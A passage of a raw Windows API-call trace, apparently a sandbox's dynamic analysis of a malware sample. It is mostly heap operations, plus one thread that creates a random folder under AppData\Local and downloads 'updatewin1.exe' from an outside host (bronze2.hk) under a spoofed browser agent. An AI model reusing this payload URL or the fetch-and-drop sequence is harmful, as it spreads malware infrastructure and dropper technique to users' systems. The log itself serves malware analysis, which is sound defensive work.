hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3116e28 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x31176b0 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3117f38 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x31187c0 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3119048 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x31198d0 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x311a158 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x311a9e0 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x311b268 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3124b30 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3125398 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x311baf0 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x311c378 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x311cc00 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3125c00 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x311d488 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x311dd10 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x311e598 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x311ee20 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x311f6a8 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x311ff30 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x31207b8 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3121040 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x31218c8 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3126460 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3136448 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3136cb0 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3126ce8 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3127570 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3127df8 | out: hHeap=0x6d0000) returned 1 [0062.934] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3128680 | out: hHeap=0x6d0000) returned 1 [0062.934] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3128f08 | out: hHeap=0x6d0000) returned 1 [0062.934] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3129790 | out: hHeap=0x6d0000) returned 1 [0062.934] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x312a018 | out: hHeap=0x6d0000) returned 1 [0062.934] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x312a8a0 | out: hHeap=0x6d0000) returned 1 [0062.934] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x312b128 | out: hHeap=0x6d0000) returned 1 [0062.934] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d15b0 | out: hHeap=0x6d0000) returned 1 [0062.934] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e49a8 | out: hHeap=0x6d0000) returned 1 [0062.934] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x2fd5038 | out: hHeap=0x6d0000) returned 1 [0062.934] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30df878 | out: hHeap=0x6d0000) returned 1 [0062.934] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3105650 | out: hHeap=0x6d0000) returned 1 [0062.934] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e4190 | out: hHeap=0x6d0000) returned 1 [0062.934] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30a3f28 | out: hHeap=0x6d0000) returned 1 [0062.934] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x77de70 | out: hHeap=0x6d0000) returned 1 [0062.935] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x77d668 | out: hHeap=0x6d0000) returned 1 [0062.935] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18d5b8 | out: phModule=0x18d5b8) returned 0 [0062.935] ExitProcess (uExitCode=0x0) [0062.935] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30be800 | out: hHeap=0x6d0000) returned 1 [0062.935] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x77bf30 | out: hHeap=0x6d0000) returned 1 [0062.941] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 36 os_tid = 0xab4 Thread: id = 37 os_tid = 0xab8 Thread: id = 38 os_tid = 0xabc Thread: id = 39 os_tid = 0xac0 Thread: id = 40 os_tid = 0xac4 Thread: id = 41 os_tid = 0xac8 Thread: id = 42 os_tid = 0xacc Thread: id = 43 os_tid = 0xad0 Thread: id = 44 os_tid = 0xaf4 [0047.314] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x120) returned 0x30a3180 [0047.314] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x120) returned 0x3065ba0 [0047.314] GetLastError () returned 0x54f [0047.314] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x3bc) returned 0x30d1e50 [0047.314] GetCurrentThreadId () returned 0xaf4 [0047.314] SetLastError (dwErrCode=0x54f) [0047.314] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x3093fb8 [0047.314] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x18) returned 0x30707e0 [0047.314] GetLastError () returned 0x54f [0047.314] SetLastError (dwErrCode=0x54f) [0047.314] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x3094000 [0047.314] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x30) returned 0x30802e8 [0047.314] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30707e0 | out: hHeap=0x6d0000) returned 1 [0047.314] GetLastError () returned 0x54f [0047.314] SetLastError (dwErrCode=0x54f) [0047.314] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x3094048 [0047.315] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x48) returned 0x30b9d00 [0047.315] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30802e8 | out: hHeap=0x6d0000) returned 1 [0047.315] GetLastError () returned 0x54f [0047.315] SetLastError (dwErrCode=0x54f) [0047.315] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x30) returned 0x30802e8 [0047.315] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x60) returned 0x2fd4f00 [0047.315] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30b9d00 | out: hHeap=0x6d0000) returned 1 [0047.315] GetLastError () returned 0x54f [0047.315] SetLastError (dwErrCode=0x54f) [0047.315] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x30) returned 0x30804a8 [0047.315] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x90) returned 0x3036ff8 [0047.315] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x2fd4f00 | out: hHeap=0x6d0000) returned 1 [0047.315] GetLastError () returned 0x54f [0047.315] SetLastError (dwErrCode=0x54f) [0047.315] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x30) returned 0x3080438 [0047.315] GetLastError () returned 0x54f [0047.315] SetLastError (dwErrCode=0x54f) [0047.315] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3065ba0 | out: hHeap=0x6d0000) returned 1 [0047.315] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0047.315] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathA") returned 0x760e7804 [0047.315] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x400) returned 0x30d2218 [0047.315] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x30d2218 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0047.315] UuidCreate (in: Uuid=0x9a5d768 | out: Uuid=0x9a5d768) returned 0x0 [0047.317] UuidToStringA (in: Uuid=0x9a5d768, StringUuid=0x9a5d6c0 | out: StringUuid=0x9a5d6c0) returned 0x0 [0047.317] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x30) returned 0x3080748 [0047.317] RpcStringFreeA (in: String=0x9a5d6c0 | out: String=0x9a5d6c0) returned 0x0 [0047.317] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="14eec914-0e8f-4440-8677-a8df15bdfc40" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40") returned 1 [0047.317] CreateDirectoryA (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40"), lpSecurityAttributes=0x0) returned 1 [0047.317] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x410) returned 0x30d2620 [0047.317] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x410) returned 0x30d2a38 [0047.317] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x1000) returned 0x30d2e50 [0047.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30d2a38, cbMultiByte=-1, lpWideCharStr=0x30d2e50, cchWideChar=2048 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40") returned 81 [0047.317] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x1010) returned 0x30d3e58 [0047.317] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d2e50 | out: hHeap=0x6d0000) returned 1 [0047.317] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d2a38 | out: hHeap=0x6d0000) returned 1 [0047.317] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x18) returned 0x30707e0 [0047.318] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0047.318] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x3094090 [0047.318] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x866) returned 0x30d2a38 [0047.318] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3094090, cbMultiByte=-1, lpWideCharStr=0x30d2a38, cchWideChar=1075 | out: lpWideCharStr="http://bronze2.hk/tesptc/penelop/updatewin1.exe") returned 48 [0047.318] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x870) returned 0x30d32a8 [0047.318] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d2a38 | out: hHeap=0x6d0000) returned 1 [0047.318] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3094090 | out: hHeap=0x6d0000) returned 1 [0047.318] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x870) returned 0x30d4e70 [0047.318] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x833) returned 0x30d2a38 [0047.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://bronze2.hk/tesptc/penelop/updatewin1.exe", cchWideChar=-1, lpMultiByteStr=0x30d2a38, cbMultiByte=2099, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://bronze2.hk/tesptc/penelop/updatewin1.exe", lpUsedDefaultChar=0x0) returned 48 [0047.318] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x840) returned 0x30d56e8 [0047.318] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d2a38 | out: hHeap=0x6d0000) returned 1 [0047.318] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d4e70 | out: hHeap=0x6d0000) returned 1 [0047.318] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://bronze2.hk/tesptc/penelop/updatewin1.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0048.612] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d56e8 | out: hHeap=0x6d0000) returned 1 [0048.612] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x9a5d6d0, lpdwBufferLength=0x9a5d710, lpdwIndex=0x0 | out: lpBuffer=0x9a5d6d0*, lpdwBufferLength=0x9a5d710*=0x4, lpdwIndex=0x0) returned 1 [0048.612] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x3094168 [0048.612] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x20) returned 0x30d61a0 [0048.613] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3094168 | out: hHeap=0x6d0000) returned 1 [0048.613] lstrcpyA (in: lpString1=0x30d2218, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40" [0048.613] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40", pMore="updatewin1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe") returned 1 [0048.613] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x60) returned 0x2fd4e98 [0048.613] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d8 [0048.613] SetFilePointer (in: hFile=0x5d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.613] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.614] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.615] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.615] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.616] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.616] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.616] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.616] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.616] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.617] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.617] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.617] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.617] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.618] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.618] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.732] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.733] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.733] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.734] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.734] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.735] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.798] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.798] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.798] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.799] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.799] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.799] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.799] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.799] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.800] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.800] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.800] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.800] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.889] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.889] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.890] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, 